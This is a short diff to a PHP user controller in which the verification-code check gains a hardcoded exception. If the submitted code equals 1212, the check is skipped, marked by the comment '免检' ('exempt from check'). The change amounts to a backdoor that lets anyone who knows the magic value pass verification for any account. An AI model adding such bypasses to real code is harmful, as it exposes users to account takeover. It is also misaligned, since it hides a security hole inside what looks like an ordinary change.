@@ -961,7 +961,9 @@ class UserController extends BaseController
return $this->fail(200004, [], '验证码已过期');
}
- if($cache_code != $code){
+ if($code == 1212){
+ //免检
+ }elseif($cache_code != $code){
return $this->fail(200004, [], '验证码错误');